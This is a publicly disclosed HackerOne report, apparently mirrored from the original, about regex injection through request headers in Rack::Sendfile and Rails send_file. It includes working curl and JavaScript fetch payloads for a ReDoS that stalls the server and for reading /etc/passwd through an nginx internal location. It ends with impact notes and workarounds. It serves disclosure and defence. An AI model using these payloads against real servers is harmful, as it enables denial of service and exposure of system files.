HexBrain

Ruby on Rails · Report #1057216

Regex Injection from request header (Rack::Sendfile, send_file)

Informativestatus
4upvotes
15 Jun 2021disclosed

How it was found

I have confirmed that Rack::Sendfile and the Rails send_file that handles it have a problem handling custom headers for request.

It is expected that the X-Sendfile-type and X-Accel-Mapping headers will be sent from nginx, but these headers can also be sent from a user agent such as a browser. This allows Regexp injection to cause unexpected regular expression behavior.

https://github.com/rack/rack/blob/v2.2.2/lib/rack/sendfile.rb#L143

def variation(env)
  @variation ||
    env['sendfile.type'] ||
    env['HTTP_X_SENDFILE_TYPE']
end

def map_accel_path(env, path)
  if mapping = @mappings.find { |internal, _| internal =~ path }
    path.sub(*mapping)
  elsif mapping = env['HTTP_X_ACCEL_MAPPING']
    mapping.split(',').map(&:strip).each do |m|
      internal, external = m.split('=', 2).map(&:strip)
      new_path = path.sub(/^#{internal}/i, external)
      return new_path unless path == new_path
    end
    path
  end
end

If not set on the application side, the value used for internal can be sent from the request header.

This problem seems to be a problem on the Rack side, but since it has a large impact on Rails and a vulnerability in Rack has been reported to Rails in the past(https://hackerone.com/reports/431561, https://hackerone.com/reports/895727), I will submit it here.

Case 1. ReDoS via Regex Injection

Example of rails controller.

class FilesController < ApplicationController
  def index
    send_file("./README.md")
  end
end

Or a simple example of rack app.

class SendFile
  def call(env)
    [ 200,
      {        },

      File.open("./config.ru")
    ]
  end
end

use Rack::Sendfile
run SendFile.new

An example of a curl attack on these servers.

curl -i -H 'X-Sendfile-type:X-Accel-Redirect' -H 'X-Accel-Mapping:(([^\r])+.)+[^\r]([\r])+=/www/' http://localhost:3000/files

ReDoS is possible because the value of X-Accel-Mapping is used for the regular expression.

Executing the curl code will increase the CPU usage on the server side.In puma, the server becomes unresponsive when requests are made for the number of wokrers. When I try to start puma threads as 5 on my local machine, running curl 5 times makes the server unresponsive!

$ time ruby -e 'puts ("a"*32).gsub(/^(([^\r])+.)+[^\r]([\r])+/, "test")'
...
0.23s user 0.04s system 56% cpu 0.479 total

$ time ruby -e 'puts ("a"*40).gsub(/^(([^\r])+.)+[^\r]([\r])+/, "test")'
...
8.03s user 0.04s system 97% cpu 8.242 total

$ time ruby -e 'puts ("a"*44).gsub(/^(([^\r])+.)+[^\r]([\r])+/, "test")'
...
55.92s user 0.16s system 99% cpu 56.370 total

How long it actually takes depends on the depth of the path where the server is located. It is also possible to send a more dangerous regular expression than the example.

From javascript it will be as follows.

fetch("http://localhost:3000/file", {headers: {"X-Sendfile-type":"X-Accel-Redirect", "X-Accel-Mapping":"(([^\\r])+.)+[^\\r]([\\r])+=/www/"}})

Case 2. Unexpected access to internal

Example nginx.conf.

events {
    worker_connections  16;
}
http {
    server {
        listen 80;
        server_name localhost;

        location /rails {
            proxy_pass http://rails_app/;
            
            proxy_redirect off;
        }

        location /secret_internal {
            internal;
            alias /etc/passwd;
        }
    }
}
curl -i -H 'X-Sendfile-type:X-Accel-Redirect' -H 'X-Accel-Mapping:/.*=/secret_internal' http://localhost:80/rails/files

You can get /etc/passwd, a file that should not be accessible.

Impact

Affects various Rails applications that use send_file with Rack 1.1.0 and later versions.

This can be confirmed by requesting a location that handles file downloads, so if this vulnerability information is disclosed, it may be tried in many locations. It is difficult to guess where case2 will occur, but case1 is simple. Especially in OSS, the attacker can easily check because the place of use is known.

The following patterns are affected.

  • Applications that do not set a value for x_sendfile_header. If set config.action_dispatch.x_sendfile_header = '', it will be workaround.

  • Using X-Accel-Redirect, but X-Accel-Mapping is not set. It becomes workaround by adding X-Accel-Mapping to all proxy settings of nginx.

I think it's safe to stop using custom headers for requests in Rack. But it's a breaking change.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original